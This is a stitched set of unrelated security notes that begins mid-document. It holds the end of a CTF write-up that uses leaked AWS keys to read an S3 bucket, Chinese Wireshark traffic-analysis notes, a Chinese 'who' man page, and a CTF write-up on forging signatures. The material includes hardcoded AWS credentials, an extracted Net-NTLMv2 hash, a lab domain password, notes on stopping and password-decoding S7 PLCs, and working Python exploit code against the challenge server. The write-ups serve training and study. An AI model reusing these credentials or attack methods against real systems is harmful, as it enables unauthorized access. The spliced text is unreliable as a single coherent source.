write_to_local(json_obj): if __name__ == "__main__": get_latest_price = requests.get("https://api.bittrex.com/v3/markets/BSV-USDT/ticker").json() file_name = write_to_local(get_latest_price) - write_to_s3(file_name) \ No newline at end of file + write_to_s3(file_name) ``` We see that previously, the AWS key and secret were hardcoded in the sources. We can use this to access the S3 bucket: ```console root@kali:/media/sf_CTFs/appsec/Static# export AWS_ACCESS_KEY_ID=AKIAQEOEU25UQKGTPPOR root@kali:/media/sf_CTFs/appsec/Static# export AWS_SECRET_ACCESS_KEY=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 root@kali:/media/sf_CTFs/appsec/Static# aws s3 ls s3://static.appsecil.ctf.today PRE .git/ PRE quotes/ 2020-10-13 11:44:30 41 flag.txt 2020-10-13 11:44:30 5466 index.html 2020-10-13 11:44:30 376 pricing.css root@kali:/media/sf_CTFs/appsec/Static# aws s3 cp s3://static.appsecil.ctf.today/flag.txt . download: s3://static.appsecil.ctf.today/flag.txt to ./flag.txt root@kali:/media/sf_CTFs/appsec/Static# cat flag.txt AppSec-IL{Keep-j00r-AW2-Key2-t0-j00R5eLF} ```
sec-knowleage
# 流量分析 <p align="center"> <img src="../../../../assets/img/banner/流量分析.jpg" width="80%"> </p> > 注 : 笔记中流量包 pcapng 源文件在其图片目录下 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关工具** - [Wireshark](../../安全工具/Wireshark.md) - [odedshimon/BruteShark](https://github.com/odedshimon/BruteShark) - 火绒剑 - [process monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) - [科来网络分析系统](http://www.colasoft.com.cn/download.php) - [NetworkMiner packet analyzer](https://sourceforge.net/projects/networkminer/) - tcpdump - [ehids/ecapture](https://github.com/ehids/ecapture) - 无需 CA 证书,进行 HTTPS 的明文通讯抓包 **相关文章** - [一次网络流量分析引发的思考](https://www.anquanke.com/post/id/158660) - web 流量分析、VPN 流量分析 - [CTF-流量分析总结](https://jwt1399.top/posts/29176.html) - [如何通过Wireshark查看HTTPS、HTTP/2网络包(解码TLS、SSL)](https://www.joji.me/zh-cn/blog/walkthrough-decrypt-ssl-tls-traffic-https-and-http2-in-wireshark/) **CTF writup** - [记某工控CTF比赛一道ICMP隧道题](https://blog.csdn.net/qq_15174755/article/details/99661676) - 知识点 : ICMP 包数据长度转 ASCII 字符 - [中石油内部CTF比赛流量分析题详细解题思路](https://www.t00ls.net/thread-62296-1-5.html) - 知识点 : 冰蝎流量分析+base64/32+基于时间注入 - [利用DNS进行传输数据](https://www.cnblogs.com/sevck/p/7495910.html) **Tips** - `ip contains "flag"` - 分组字节流 搜索 - `flag` - `f.l.a.g` - `f-l-a-g` --- ## ICMP ping 一下 www.ffffffff0x.com 并抓个 icmp 的包 ## TCP ### SampleCaptures 下载 [iperf-mptcp-0-0.pcap](https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=iperf-mptcp-0-0.pcap) 下载后双击用 wireshark 打开。 编号 534 开始有重传(TCP Retransmition)的包: Ctrl+Alt+Shift+T,切换跟踪 tcp 流,可以发现,这个连接只有 3 个包 TCP 重传的机制:指数后退,比如第一次等待 1s,第二次等 待 2s,第三次等待 4s,第四次 8s - 第一个编号 24 的包发出,请求建立连接 - 超过 1s 后,客户端没有收到服务端的 ACK 包,触发客户端 TCP 超时重传,编号 534 的包发出 - 又过了大约 2s,仍然没有收到 ACK 包,再次触发超时重传,编号 1520 的包发出 从这个抓包文件看,这次连接没有建立起来,而直接原因就是 client 没有收到 server 的应答包。 当然仅凭这个无法判断直接原因,还需要在 server 端抓包,查看 server 到底是否发出回包,若发出,说明在链路中未传输到对端。可能是链路中问题。 --- 点击 统计 -- 捕获文件属性 查看文件的详细信息,包的数量,被什么封装等等 点击 统计 -- 协议分级,能看到捕获数据中的协议包含层次情况;本捕获文件的最外层协议是 PPP,然后是 IPV4 协议,TCP 协议 点击 统计 -- Conversations,可见 IPv4 和 TCP 的对话情况 点击 统计 -- 分组长度,不同长度的包的分配情况 点击 统计 -- I/O 图表 --- ## HTTP 下载 https://www.malware-traffic-analysis.net/2014/11/16/2014-11-16-traffic-analysis-exercise.pcap.zip , 密码是 infected **自动提取通过 http 传输的文件内容** 文件->导出对象->HTTP 在打开的对象列表中找到有价值的文件,如压缩文件、文本文件、音频文件、图片等,点击 Save 进行保存,或者 Save All 保存所有对象再进入文件夹进行分析。 **从数据包导出原始格式的文件** 这里请求了一个 notfound.gif 文件,先追踪其 http 流 找到响应包 右键选择文件字段导出相应格式 保存为 1.gif,查看文件,导出成功 **导出偏移流量** 鼠标右键点击 - 选中 显示分组字节 在弹出的窗口中设置开始和结束的字节 --- ## HTTPS HTTPS 是在 TCP/IP 与 HTTP 之间,增加一个安全传输层协议,而这个安全传输层协议一般用 SSL 或 TLS,简单讲 HTTPS=HTTP+SSL/TLS。 SSL 协议分为 SSL 记录协议层和 SSL 握手协议层。SSL 握手协议建立在 SSL 记录协议之上,用于在实际的数据传输开始前,通讯双方进行身份认证、协商加密算法、交换加密密钥等。SSL 记录协议将数据块进行拆分压缩,计算消息验证码,加密,封装记录头然后进行传输。 ### 使用服务器证书的私钥进行解密 > 以下部分内容来自文章 <sup>[[如何通过Wireshark查看HTTPS、HTTP/2网络包(解码TLS、SSL)](https://www.joji.me/zh-cn/blog/walkthrough-decrypt-ssl-tls-traffic-https-and-http2-in-wireshark/)]</sup> 在服务器上导出证书私钥,这里拿 IIS 服务器举例 打开 IIS 站点所绑定的服务器证书,点击查看 `详细信息` 页,点击 `复制到文件`。 向导中点击下一步,当询问是否导出私钥时选择 `是`,导出私钥,点击 `下一步` 继续。 选择 `个人信息交换(.PFX)`,下面的三个复选框不用勾选,点击 `下一步` 继续。 勾选 ` 密码 `,设置一个密码,点击 ` 下一步 ` 继续,导出 PFX 文件。 有了 PFX 私钥文件,接下来就可以通过 Wireshark 设置使用该私钥来解码 SSL、TLS 网络包了。这一步既可以在服务器上的 Wireshark 中设置,也可以在客户端的 Wireshark 中设置,取决于你想在哪一端查看(抓取)网络包。 在 Wireshark 中, 菜单栏 Edit——Preferences——Protocols——TLS(老的版本是选择 SSL),点击 Edit 按钮编辑 RSA key lists。 配置如下: - IP address:目标服务器的 IP 地址,也可以填写 "any" 应用到所有 IP 地址。 - Port:HTTPS 端口号,一般均为:"443"。 - Protocol:填写 "http"。 - Key File:选取刚才导出的服务器证书私钥(PFX 文件)。 - Password:输入服务器证书私钥的密码。 设置完成后,当前正在查看的网络包或将来抓取的网络包就会以设定的规则解码了。 - 优点 : - 可以从客户端或服务器端使用。 - 支持各种浏览器。 - 缺点 : - 需要有权访问服务器证书。 - 不支持 Diffie-Hellman 密码。 **禁用 Diffie-Hellman** 如果网络包依然无法被解码,那么很有可能是因为服务器和客户端之间使用了 Diffie-Hellman 加密算法。 如果在 SSL、TLS 握手过程中发现服务器返回的 Server Hello 所选择的加密算法带有 "ECDHE" 和 "DHE" 关键字,那就说明当前 SSL Session 使用了 Diffie-Hellman 加密算法。 使用了 Diffie-Hellman 的 TLS Session Key 会用一个动态产生的密钥对进行加密,而不是使用证书的公钥加密,所以 Wireshark 依然无法解码 TLS 网络包。解决方案就是:禁用客户端或服务器的 Diffie-Hellman 加密算法,建议禁用客户端的 Diffie-Hellman 加密算法仅供网络包分析,这样依然可以保持网站服务器的安全性。 以下是从 Windows 客户端禁用三种不同浏览器 Diffie-Hellman 加密算法的方法以及禁用 IIS 服务器 Diffie-Hellman 加密算法,只要任选其一保证 SSL Session 不使用 Diffie-Hellman 加密算法即可。 - 禁用 Internet Explorer 的 Diffie-Hellman 加密算法 运行 `gpedit.msc` 打开本地组策略编辑器。 编辑设置:计算机配置 -> 管理模板 -> 网络 -> SSL 配置设置 -> SSL 密码套件顺序。 启用该设置后,复制文本框中的默认值到写字板或编辑器中。 删除所有带 "ECDHE" 和 "DHE" 的算法,请保持所有的文本都在一行里。 将修改后的值替换原有的默认值,点击确定后保存,重启计算机。 重启后,再次抓包发现 IE 发出的 Client Hello 中已经不包含任何 Diffie-Hellman 加密算法了,并且 Wireshark 已经能成功将 TLS、SSL 网络包解码。 - 禁用 Chrome 的 Diffie-Hellman 加密算法 查看默认 Chrome 发出的 Client Hello 包中所包含的 Cipher Suites 列表。 ``` Cipher Suites (15 suites) Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b) Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f) Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e) Cipher Suite: TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc14) Cipher Suite: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (0xcc13) Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a) Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014) Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039) Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009) Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013) Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033) Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c) Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035) Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f) Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a) ``` 将所有带 "ECDHE" 和 "DHE" 的算法的十六进制表达连接成字符串赋给 "--cipher-suite-blacklist" 参数,在启动 Chrome 时添加这个参数。如: ``` c:\Program Files (x86)\Google\chrome\Application\chrome.exe --cipher-suite-blacklist=0xc02b,0xc02f,0x009e,0xcc14,0xcc13,0xc00a,0xc014,0x0039,0xc009,0xc013,0x0033 ``` 启动后,再次抓包可以看到 Chrome 发出的 Client Hello 包中已经不包含任何 Diffie-Hellman 加密算法了。 ``` Cipher Suites (4 suites) Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c) Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035) Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f) Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a) ``` - 禁用 Firefox 的 Diffie-Hellman 加密算法 打开 Firefox,地址栏输入 "about:config",搜索 "dhe",双击搜到的所有 Diffie-Hellman 算法将其 Value 值改为 false, 重启 Firefox 即可生效。 --- ### 使用 SSLKEYLOGFILE 在 wireshark 中可以通过浏览器保存的 TLS 会话中使用的对称密钥来进行数据解密。在浏览器接收到数据之后,会使用秘钥对数据进行解密,部分浏览器会在某个地方会存储这个密钥,我们只要获取浏览器中的会话密钥就能解密数据。 设置一个称为 SSLKEYLOGFILE 的环境变量,该变量指向可写文本文件。Chrome 和 Firefox 启动时会查找该变量。如果存在,浏览器会将用于生成 TLS 会话密钥的值写到该文件中。我们可以配置 Wireshark 读取此文件以解密 SSL / TLS 数据包。 以 windows 系统 + Chrome 浏览器为例,首先要导出浏览器存储的密钥,通过计算机属性——高级系统设置——环境变量,新建一个变量名 “SSLKEYLOGFILE” 的变量,变量值是导出的密钥具体文件地址,将其指向可写文本文件,启动 Chrome 或 Firefox 时可以自动生成文本文件。 设置后可以通过 Chrome 浏览器打开任意一个 HTTPS 网址,此时查看变量值对应路径,已经生成 sslkey.log。 在 Wireshark 中导入,菜单栏Edit——Preferences——Protocols——TLS(老的版本是选择 SSL) 在 (Pre)-Master-Secretlog filename 中选择刚才设置的变量值。 配置完成,看下效果: 和 HTTP 一样,可以追踪 TLS 流 - 优点 : - 支持 Diffie-Hellman 密码。 - 无需访问服务器证书。 - 缺点 : - 只能从客户端使用。 - 仅支持 Chrome 和 Firefox。 --- ## Windows ### NTLM-工作组 192.168.141.1(WIN10)——>192.168.141.139(WIN2008) 查看第一个数据包协商 查看第二个数据包质询,获得 Challenge 查看第三个数据包身份验证,其中可以获得客户端加密后的 Challenge - username(要访问服务器的用户名):Administrator - domain(访问者主机名或者 ip):DESKTOP-QKM4NK7 - challenge(数据包 2 中服务器返回的 challenge 值):18f77b6fe9f8d876 - HMAC-MD5(数据包 3 中的 NTProofStr): 0ecfccd87d3bdb81713dc8c07e6705b6 - blob(blob 对应数据为 NTLMv2 Response 开头去掉 NTProofStr 的后半部分):01010000000000002a470d3bc233d6017eb1f527b5e7bd4d0000000002001e00570049004e002d0041003500470050004400430050004a0037004f00540001001e00570049004e002d0041003500470050004400430050004a0037004f00540004001e00570049004e002d0041003500470050004400430050004a0037004f00540003001e00570049004e002d0041003500470050004400430050004a0037004f005400070008002a470d3bc233d601060004000200000008003000300000000000000001000000002000003737fbe7dbcbd2c8e5d7a030f44586c91423d9c5202f827f3f6cf26f69adbfe80a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100340031002e003100330039000000000000000000 所以构造,Net-NTLM v2 Hash 值为: ``` Administrator::DESKTOP-QKM4NK7:18f77b6fe9f8d876:0ecfccd87d3bdb81713dc8c07e6705b6:01010000000000002a470d3bc233d6017eb1f527b5e7bd4d0000000002001e00570049004e002d0041003500470050004400430050004a0037004f00540001001e00570049004e002d0041003500470050004400430050004a0037004f00540004001e00570049004e002d0041003500470050004400430050004a0037004f00540003001e00570049004e002d0041003500470050004400430050004a0037004f005400070008002a470d3bc233d601060004000200000008003000300000000000000001000000002000003737fbe7dbcbd2c8e5d7a030f44586c91423d9c5202f827f3f6cf26f69adbfe80a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100340031002e003100330039000000000000000000 ``` --- ### NTLM-域 192.168.141.140(WIN2008)——>192.168.141.135(WIN2008) 域控 : 192.168.141.139 FQDN : ffffffff0x.com 账号密码 : Administrator Abcd1234 --- ## ICS **相关文章** - [使用Wireshark分析工控协议](http://plcscan.org/blog/2015/11/using-the-wireshark-analysis-ics-protocol/) ### S7Comm **s7comm_downloading_block_db1** 下载 [SampleCaptures/s7comm_downloading_block_db1.pcap](https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=s7comm_downloading_block_db1.pcap) 下载后双击用 wireshark 打开。 *COTP Connection Packet* - COTP 连接请求包 - COTP 请求确认包 *COTP Fuction Packet* - 数据传输包 *S7Comm* - S7Comm Header 其中最重要的字段就是 ROSCTR,它决定了后续参数的结构 在响应数据包中,还有可能存在错误信息 可见图中的错误类型就是 No error - Parameter - 建立通信(Setup communication [0xF0]) - 请求 - 响应 其协商结果为:ACK 队列的大小为 1;最大 PDU 长度为 240。 - 请求下载(Request download [0x1A]) - 请求 如图所示,文件标识是 _ (Complete Module),块类型为 0B,块的编号为 00001,目标块的文件系统是 P (Passive (copied, but not chained) module),所以文件名为 _0A00001P。 - 响应 - 下载块(Download block [0x1B]) - 请求 - 响应 - 下载结束(Download ended [0x1C]) - 请求 - 响应 - 程序调用服务(PI service [0x28]) - 请求 - 响应 **snap7_s300_everything** 下载 [ICS-Security-Tools/pcaps/s7/snap7_s300_everything.pcapng](https://github.com/ITI/ICS-Security-Tools/blob/master/pcaps/s7/snap7_s300_everything.pcapng) *S7Comm* - 开始上传(Start upload [0x1D]) - 请求 - 响应 - 上传(Upload [0x1E]) - 请求 - 响应 - 上传结束(End upload [0x1F]) - 请求 - 响应 **s7comm_varservice_libnodavedemo** 下载 [SampleCaptures/s7comm_varservice_libnodavedemo.pcap](https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=s7comm_varservice_libnodavedemo.pcap) 下载后双击用 wireshark 打开。 *S7Comm* - 读取值(Read Var [0x04]) - 读值操作的作业请求 - 响应 - 写入值(Write Var [0x05]) - 向地址为 0×000020 的 Flags(M)写入 0×0103 的作业请求 - 向地址为 0×000020 的 Flags(M)写入 0×0103 的确认响应 图中的 item1,说明向地址为 0×000020 的Flags(M)写入 0×0103 成功! **PLC STOP [0x29]** 192.168.141.1(WIN10)——>192.168.141.128(WIN2019) snap7 client --> snap7 server - 请求 - 响应 **Userdata 协议拓展** 192.168.100.56(WIN10)——>192.168.100.56(WIN10) snap7 client --> snap7 server *S7Comm* - 块功能(Block functions [0x3]) - 列举所有块(List blocks) - 请求 - 响应 - 列举块类型(List blocks of type) - 请求 - 响应 - 读取模块的信息(Get block info) - 请求 - CPU功能(CPU functions [0x4]) - 系统状态列表(SZL) - 请求 - 响应 - 安全功能(Security [0x5]) - PLC密码(PLC password) - 请求 Data 是 64 67 02 06 62 65 17 10 - 第 1 位:0x64 ^ 0x55 = 0x31,则值是‘1’; - 第 2 位:0x67 ^ 0x55 = 0x32,则值是‘2’; - 第 3 位:0x02 ^ 0x55 ^ 0x64 = 0x33,则值是‘3’; - 第 4 位:0x06 ^ 0x55 ^ 0x67 = 0x34,则值是‘4’; - 第 5 位:0x62 ^ 0x55 ^ 0x02 = 0x35,则值是‘5’; - 第 6 位:0x65 ^ 0x55 ^ 0x06 = 0x36,则值是‘6’; - 第 7 位:0x17 ^ 0x55 ^ 0x62 = 0x20,则值是‘ ’; - 第 8 位:0x10 ^ 0x55 ^ 0x65 = 0x20,则值是‘ ’; - 响应 - 时间功能(Time functions [0x7]) - 读时间(Read clock); - 请求 - 响应 --- ### Ethernet/IP 下载 [ICS-Security-Tools/pcaps/EthernetIP/enip_test.pcap](https://github.com/ITI/ICS-Security-Tools/blob/master/pcaps/EthernetIP/enip_test.pcap) - 请求 - Command: 命令,list identify 表示检测到 Ethernet/IP 列表身份的命令。 - Length: 长度为 0,因为这个是一个请求包,没有数据长度。 - Session Handle:记住这里为 0,后续的返回包我们看看是不是一样的。 - Status: Success(0×00000000) - Max Response Delay:0, 这个包发送是实时的。 - Sender Context:0000c1debed1, 正好 6 个字节的内容,等看看是不是一样的。 - Options:0, 这里为始终为 0。 - 响应 - Length: 长度不是 0 了,因为后面有了数据内容。 - Session Handle: 还是 0,和请求包是一样的。 - Sender Context: 和请求包一样,证明是对应的返回包。 - Command Specific Data: 数据内容,这部分不需要细看了,里面是一些设备信息,这些在工控渗透时可能会用到。 --- ## Malware **学习资源** - [Malware-Traffic-Analysis](https://www.malware-traffic-analysis.net/index.html) - 自 2013 年夏季以来,该网站已发布 1,600 多个有关恶意网络流量的博客条目。 该网站上几乎所有帖子都包含 pcap 文件或恶意软件样本(或两者)。 **Tips** - 恶意流量包建议直接放到 VirusTotal 跑一遍 - 利用 virustotal 可以在线扫描流量包, 但是 virustotal 需要登录才能匹配 Snort 和 Suricata 的规则, 如果无法无任何扫描结果,把流量包另存为 pcap 格式再扫描试试。 ### 2014-11-16-traffic-analysis-exercise - https://www.malware-traffic-analysis.net/2014/11/16/index.html 下载 https://www.malware-traffic-analysis.net/2014/11/16/2014-11-16-traffic-analysis-exercise.pcap.zip , 密码是 infected --- ## USB ### 鼠标流量 USB 协议的数据部分在 Leftover Capture Data 块中 鼠标发送 00 03 0b 00 ,表示鼠标右移 03 像素,垂直向上移动 11 像素. > 注意 : 有线鼠标和无线鼠标流量是不一样的 ### 键盘流量 USB 协议的数据部分在 Leftover Capture Data 块中 键盘发送 00 00 17 00 00 00 00 00,表示按下了 T。 --- ## 蓝牙 过滤语法 : `obex` --- ## wifi 过滤语法 : `eapol` 如果确定是握手包可以用 Aircrack 爆破 --- ## 其他 ### TeamViewer **相关文章** - [一次私有协议的流量分析](https://mp.weixin.qq.com/s/6pmJsWYKa5vPM_EApIX2dg) - [TeamViewer authentication protocol (part 1 of 3)](http://bennysecurity.blogspot.com/2014/02/rawtech-blog-teamviewer-authentication.html) - [TeamViewer authentication protocol (part 2 of 3)](http://bennysecurity.blogspot.com/2014/02/rawtech-blog-teamviewer-authentication_5536.html) - [TeamViewer authentication protocol (part 3 of 3)](http://bennysecurity.blogspot.com/2014/02/rawtech-blog-teamviewer-authentication_10.html) - [Security Analysis: TeamViewer](https://awakesecurity.com/blog/analyzing-teamviewer/) - [入侵检测系列1(上):基于私有协议的加密流量分析思路(Teamviewer篇)](https://www.anquanke.com/post/id/223106) - [入侵检测系列1(中)基于私有协议的加密流量分析思路(Teamviewer篇)](https://www.anquanke.com/post/id/225394) - [入侵检测系列1(下):基于私有协议的加密流量分析思路(Teamviewer篇)](https://www.anquanke.com/post/id/226531) **lua插件** - https://docs.google.com/file/d/0B3tHnfnS08GyWjJUOXE3UGFJRnc/edit ### CobaltStrike **相关文章** - [Cobalt Strike: Using Known Private Keys To Decrypt Traffic - Part 2](https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/) - [破解版密钥相同,部分CobaltStrike加密流量可解](https://mp.weixin.qq.com/s/AcIFSjyqn9gzyRkyx3sRIQ) **相关工具** - https://blog.didierstevens.com/2021/10/22/new-tool-cs-decrypt-metadata-py/ - https://blog.didierstevens.com/2021/10/11/update-1768-py-version-0-0-8/ - https://github.com/DidierStevens/Beta/blob/master/cs-parse-http-traffic.py **案例** 用 1768.py 分析 beacon.exe 源文件 抓包,用 cs-decrypt-metadata.py 解密 cookie 用 cs-parse-http-traffic 解密 ### Shiro反序列化数据 **相关文章** - [蓝队第3篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载](https://mp.weixin.qq.com/s/5VQ4KHrgFDzkif3bcVAIcA)
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH WHO 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 who \- 显示已登录用户 .SH 概述 \fBwho\fP [\fI\,选项\/\fP]... [ \fI\,文件 | 参数1 参数2 \/\fP] .SH 描述 .\" Add any additional description here .PP 显示与当前登录用户有关的信息。 .TP \fB\-a\fP, \fB\-\-all\fP 等价于 \fB\-b\fP \fB\-d\fP \fB\-\-login\fP \fB\-p\fP \fB\-r\fP \fB\-t\fP \fB\-T\fP \fB\-u\fP .TP \fB\-b\fP, \fB\-\-boot\fP 最近一次系统引导的时间 .TP \fB\-d\fP, \fB\-\-dead\fP 显示死进程 .TP \fB\-H\fP, \fB\-\-heading\fP 显示表格的表头 .TP \fB\-\-ips\fP 显示 IP地址而不是主机名。加上 \fB\-\-lookup\fP,则会尽可能基于已存储的 IP 规范化,而不是已存储的主机名 .TP \fB\-l\fP, \fB\-\-login\fP 显示系统登录进程 .TP \fB\-\-lookup\fP 试图通过 DNS 规范主机名 .TP \fB\-m\fP 仅显示和标准输入关联的主机名和用户 .TP \fB\-p\fP, \fB\-\-process\fP 显示由 init 生成的活跃进程 .TP \fB\-q\fP, \fB\-\-count\fP 所有登录名称与已登录用户数量 .TP \fB\-r\fP, \fB\-\-runlevel\fP 显示当前运行级别 .TP \fB\-s\fP, \fB\-\-short\fP 仅显示名称、线路与时间(默认) .TP \fB\-t\fP, \fB\-\-time\fP 显示最近一次系统时钟更改 .TP \fB\-T\fP, \fB\-w\fP, \fB\-\-mesg\fP 添加用户状态信息,如 +, \- 或 ? .TP \fB\-u\fP, \fB\-\-users\fP w列出已登陆用户 .TP \fB\-\-message\fP 等价于 \fB\-T\fP .TP \fB\-\-writable\fP 等价于 \fB\-T\fP .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 如果没有指定文件,默认使用 \fI\,/var/run/utmp\/\fP。\fI\,/var/log/wtmp\/\fP 常被指定为文件参数。如果给出参数1 和参数2,则等价于 \fB\-m\fP:两个参数通常可以是 'am i' 或 'mom likes'。 .SH 作者 由 Joseph Arceneaux, David MacKenzie 和 Michael Stone 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 完整文档请见: <https://www.gnu.org/software/coreutils/who> .br 或者在本地使用: info \(aq(coreutils) who invocation\(aq
sec-knowleage
# Signature server (crypto, 28 solved, 148p) ``` Quantum computing is on its way. That's why i implemented a post-quantum signature server. However, I believe Winternitz checksum can be broken, so I tweaked it a bit. Sign all you want, it's free! nc crypto-02.v7frkwrfyhsjtbpfcppnu.ctfz.one 1337 ``` ## Analysis In the task we get the [server source code](signature.py). We get access to application where we can: - Send `hi` message, not very useful. - Sign some payload - Execture signed command There are 2 commands available: `switching to admin user` and `requesting flag`. There are checks preventing us from signing either of those commands, at least theoretically. The commands are: ```python show_flag_command = "show flag" + (MESSAGE_LENGTH - 9) * "\xff" admin_command = "su admin" + (MESSAGE_LENGTH - 8) * "\x00" ``` If we look at how the signature is generated we can see: ```python def sign(self, data): decoded_data = base64.b64decode(data) if len(decoded_data) > MESSAGE_LENGTH: return "Error: message too large" if decoded_data == show_flag_command or decoded_data == admin_command: return "Error: nice try, punk" decoded_data += (MESSAGE_LENGTH - len(decoded_data)) * "\xff" decoded_data += self.wc_generate(decoded_data) signature = "" for i in range(0, CHANGED_MESSAGE_LENGTH): signature += self.sign_byte(ord(decoded_data[i]), i) return base64.b64encode(decoded_data) + ',' + base64.b64encode(signature) ``` It's important to notice here that the check for restricted commands is done *before* padding the command with `\xff`. This means we can actually sign `show_flag_command` with no problem at all, as long as we strip the`\xff` and just send `show flag` as payload to sign. Such string will pass the check, and then get padded with `\xff`, so in the end it will match the original `show_flag_command`. This is the simple part, but we can't issue this command unless we're admin. We can't do a similar trick for `su admin` command, because this one is padded with `\x00`. We will actually need to forge the signature somehow for this message. If we examine closely how the signature is generated we will see that there are 2 parts: - original payload, padded with `\xff` if necessary, extended with (presumably) Winternitz checksum - some strong looking `signature` done byte-by-byte on the extended payload, however this signature takes into account not only the input byte but also the position of the byte Both of those have to match, for the command to get executed. However, worth noticing, the server checks them in sequence and tells us which check failed. ## Forging checksum In the code we can see that `CHECKSUM_LENGTH = 4`. This is not a lot, we could most likely brute-force a 4-byte checksum for string of our choosing, if we could do a local brute-force. But it's remote... However if we look at results we get from the server, it seems the last 2 bytes are actually always `\x00\x00`. So we have only 2 bytes to brute-force, instead of 4. We can, therefore, try to send `execute command` with `admin_command` extended with random 2 bytes + `\x00\x00` as checksum, and some random signature bytes. We've got only up to 256*256 payloads to send until we find the right checksum. Once we do, the server will complain about incorrect signature, instead of incorrect checksum: ```python def find_checkum_conflict(s, wanted_msg, signature): print("Looking for checksum conflict") for a in range(256): for b in range(256): forged = wanted_msg + chr(a) + chr(b) + "\x00\x00" result = execute_command(s, forged, signature) if 'wrong signature' in result: print('Found checksum conflict for', a, b) return a, b ``` ## Forging signature Once we have the correct checksum for the payload, we need a proper signature. During the initial analysis we mentioned that signature is generated byte-for-byte. This is important, because it means that if we sign `admin_command` with last `\x00` removed, we will actually get proper signature for the first 31 bytes, and actually also the last 2 bytes, since the checksum has always last `\x00\x00`. What we're actually missing is only signature for 3 bytes -> `\x00` at the end of the message and the first 2 bytes of checksum we calculated in the previous step. Again we can use the fact that the checksum has only 2 bytes of entropy. It means there have to be a lot of conflicts - it shouldn't be hard to find an input which gives us the same checksum as the one we calculated before. We can, therefore, sign random payloads ending with `\x00` and wait until we get back the checksum we want, and then simply steal the signature bytes for them: ```python def get_proper_signature(checksum_we_need, s, original_signature_chunks): print("Looking for signature suffix for conflicting checksum") i = 0 while True: msg = long_to_bytes(i) pad = 32 - len(msg) msg = msg + ('a' * (pad - 1)) + "\x00" result = sign(s, msg) ext_msg, signature = map(base64.b64decode, result.split(",")) if ext_msg[32:36] == checksum_we_need: forged_signature_chunks = chunk(signature, 32) return "".join(original_signature_chunks[:-5] + forged_signature_chunks[-5:]) i += 1 ``` Last 5 chunks of the signature are for `'\x00'+checksum`, so we can take all of them, and combine with original signature we got for the `admin_command` without last `\x00`. This way we get a proper signature, and we can issue admin and flag commands: ```python def main(): url = "crypto-02.v7frkwrfyhsjtbpfcppnu.ctfz.one" port = 1337 s = nc(url, port) receive_until_match(s, "You can sign any messages except for controlled ones") receive_until(s, "\n") msg = "show flag" show_flag_command = sign(s, msg) msg = "su admin" + (32 - 9) * "\x00" almost_admin_command = sign(s, msg) print(almost_admin_command) msg, signature = map(base64.b64decode, almost_admin_command.split(",")) signature_chunks = chunk(signature, 32) wanted_msg = 'su admin\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a, b = find_checkum_conflict(s, wanted_msg, signature) checksum = chr(a) + chr(b) + "\x00\x00" forged_msg = wanted_msg + checksum signature = get_proper_signature(checksum, s, signature_chunks) print(execute_command(s, forged_msg, signature)) send(s, 'execute_command:' + show_flag_command) interactive(s) main() ``` And we get back `ctfzone{15de95d830304c6d19c86a559718e935}`
sec-knowleage
